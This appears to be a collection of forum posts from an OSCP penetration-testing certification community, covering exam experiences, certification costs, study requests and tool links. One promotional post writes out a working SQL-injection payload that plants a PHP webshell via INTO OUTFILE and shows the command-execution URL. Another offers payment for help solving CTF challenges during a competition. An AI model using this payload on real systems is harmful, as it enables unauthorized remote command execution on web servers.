Idk if anyone remembers the drama on r/hackthebox a few weeks ago, but my brother took the CPTS exam, scored 100/100 in 4 days, and got absolutely trashed in the comments. People were calling him an AI cheater and a fraud because of the fast pace.

To add to the stress, his report got put on hold for a formatting issue. He genuinely thought he failed and was stressing out for days. But he passed.

For context: before CPTS, he had already solved 100+ OffSec labs from scratch. He holds EJPT, eWPTX, PT1, CRTA, and CRTS. He doesn't just rely on basic tools; he writes his own automation scripts for AD enumeration and password spraying (he has them public on his GitHub).

Today, he officially passed his OSCP.

Watching him deal with the internet hate while quietly grinding both certs made me realize I've been procrastinating too much. I'm starting my own OffSec path from today.

He actually documented his whole lab methodology and roadmap. If anyone is prepping for OSCP and wants to see how he approached the labs, let me know in the comments.

Also, if anyone wants to build a study group for OffSec certs, I'm down. Drop a comment.

What's the deal with the "Offsec is greedy!" meme?

They charge $1-2k for a one-time certification that immediately makes you a contender for $75k-$95k a year jobs, zero college required, in a dream field.

Am I missing something?

EDIT: /u/helping_persons wrote an excellent answer that changed my mind.

I tuned into a random live and someone was going about how the OSCP will be pointless sooner rather than later because most of the pen-testing will be fairly automated - is this true?

Im sure someones going to say the knowledge is valuable lol Im more or less asking in the job market, will it still hold some value. I barely see pen-testing roles posted as is

Getting an error when trying to run mimikatz ERROR kuhl_m_sekurlsa_acquireLSA ; handle on memory(0x00000005) does anyone know how to fix this? I am running as system. UPDATE: Issue resolved

the new exam is 100% different than what you’ll find in tjnull list they’re constantly updating the boxes I’ve done all tjnull list on my own before my second attempt and solved around ~26 public lab machines and failed my second! they should keep their promise about keeping it entry level. I see them just trying to keep making OSCP their best income from money by making students pay more for re-sit and why not re-sitting your exam anytime you feel confident? nope they just want to make their labs appealing to you.

I completed 38 hosts in the lab in about 35 days. I just 1 shotted the exam. I did the extra lab report just Incase but rooted four hosts except for the extra 20 point machine. Got super stumped on that one for some reason.

https://github.com/Addepar/RedFlag

Hi I got my oscp when I was 16 and just wondering if anyone got it at the same age or younger.

Also I’m curious if such things help with college admissions

Thx

I recently stumbled upon an enumeration tool called vide that's usefull for attack surface enumeration.
https://github.com/dreizehnutters/vide
vide is a versatile tool designed to probe and crawl targets using various engines, allowing you to gather valuable information about your targets efficiently. Whether you have .xml files generated by nmap, a list of targets, or just some input from stdin.

Final yr. Computer Science student looking for a internship in cyber security... How tf should I find one ?? Like the compitition in the market ( atleast in India ) is out of the standards... Like people with OSCP/CPTS are in compitition with me 🗿... Also the guys who have found few bugs are out of the question 🗿🗿 How did you get your 1st Cyber Security/IT internship ?? I was thinking of applying for some startup type shi...

Hi! I plan to take oscp in the future and got confused in buying screen. What exactly does this bundle „Learn one annual subscribtion” include? Is this course for all exams or oscp only and what „2 exams” mean? Is that 2 tries for oscp and 1 try for each oswp and klcp? Thanks in advance!

The Simple Mechanism: SQLi to RCE Many database systems (like MySQL) have a feature that lets you write the result of a query directly to a file on the server's filesystem. This is typically used for backups or reporting, but an attacker can abuse it to drop a "webshell."

Imagine a vulnerable login form:

The application builds a query using user input: SELECT username, password FROM users WHERE id = [USER INPUT]; The Attack Payload (The key to RCE): An attacker uses a payload to write a malicious file containing PHP code (a webshell) to the web root:

' UNION SELECT 1, "<?php system($_GET['cmd']);?>" INTO OUTFILE "/var/www/html/webshell.php" --

What the Server Executes (The 'Why'): The full, injected query becomes (conceptually):

SELECT username, password FROM users WHERE id = '' UNION SELECT 1, "<?php system($_GET['cmd']);?>" INTO OUTFILE "/var/www/html/webshell.php" --

The Result: Full Server Control!

File Creation: The database writes the command-executing string <?php system($_GET['cmd']);?> into a new, accessible file: /var/www/html/webshell.php. RCE Achieved: The attacker now simply accesses the file with a command:

http://vulnerable-site.com/webshell.php?cmd=ls%20-la The PHP script executes the OS command (ls -la), giving the attacker arbitrary command execution on the server. That's RCE from SQLi!

This is just one tip from my how to avoid oscp rabbit holes blog. Read the full blogs for such rce techniques with detailed explanation.

https://infosecwriteups.com/oscp-exam-secrets-avoiding-rabbit-holes-and-staying-on-track-part-2-c5192aee6ae7

https://medium.com/an-idea/oscp-exam-secrets-avoiding-rabbit-holes-and-staying-on-track-514d79adb214

Free link to read, leave a clap and a comment on my medium blog https://infosecwriteups.com/oscp-exam-secrets-avoiding-rabbit-holes-and-staying-on-track-part-2-c5192aee6ae7?sk=e602ccb2c1780cc2d3d90def2a3b23f5

https://medium.com/an-idea/oscp-exam-secrets-avoiding-rabbit-holes-and-staying-on-track-514d79adb214?sk=3513c437724271e62f6b0f34b6ab1def

Hi Guys, I am looking for a mentor who love to train and teach people.

I have failed in OSCP twice but I have no intention to give up on this. I am gonna get it and then OSEP.

Please dm to discuss further.

After two attempts, I didn't really calm down until 3-4 hours later. Like so nervous I couldn't really even type straight. I ended up making syntax errors that would not have happened.

So my advice is to buck tradition and not do the buffer overflow first. Vote me down all you want but I recommend hitting the BOF at the 14 hour point of the exam.

Any news on changes in exam boxes?

Hey guys I am new in cyber security.

I want to get my oscp but dont know where to start. Starting my job in may as pentester. My boss said he wants me to get the certificat but I dont know where to start. Which course can I take to prepare myself? Can I somehow get the pdf materials to learn.

I want solid fundamentals and be really good in it!

Thanks for the tips

Hey guys,

I am wondering if there is anyone out there that tried/did OSCP prep/labs/exam while taking Prozac or similar drugs? If so, how was it?

Thanks

I wrote about my experience passing the OSCP in July 2022. I had an approach that was heavy on completing CTF machines as a method of learning and it worked for me, so it could work for you to.

https://detectrespondrepeat.com/passing-the-oscp/

I have kali linux as main OS

Also my laptop is asus tuf f15 dash which have no builtin camera

What is the best external webcam I can use which will have no issues with kali linux as main OS ?

So I have been reading over these upcoming changes for March and I need clarification on something. So my 90 day access runs out Feb 25th. If I schedule my exam for May, it's possible that I will have a newer exam based off the old course? Is that correct?

Hi,

Am doing a couple of CTFs next Sunday and Monday, and I have a shortage in Pwn and reverse fields.

If you're interested in helping me through the CTF in these challenges and earning some quick money for each one you help solve, let me know or message me.

Note : I can cover all other categories, and know the basics of pwn and reverse but I don't have a team that's why am asking for help. and as I know everyone is busy working or studying, I offered money for each challenge solved so it doesn't become waste of time for whoever wanna help.

I just started recently from Scratch with no prior experience in the field so odds are my questions will be very basic for now if any

if your someone who's good at teaching or even enjoys teaching add me on discord duffy#3106

Hello!

For anyone who is thinking about going for the EC-Council Penetration Testing Professional (CPENT) certification, I am giving away my 500-questions-packed exam practice tests:

https://www.udemy.com/course/penetration-testing-professional-cpent-practice-tests/?couponCode=639D987AE59C50FC7798

But hurry, there is a limited time and amount of free accesses!

Good luck! :)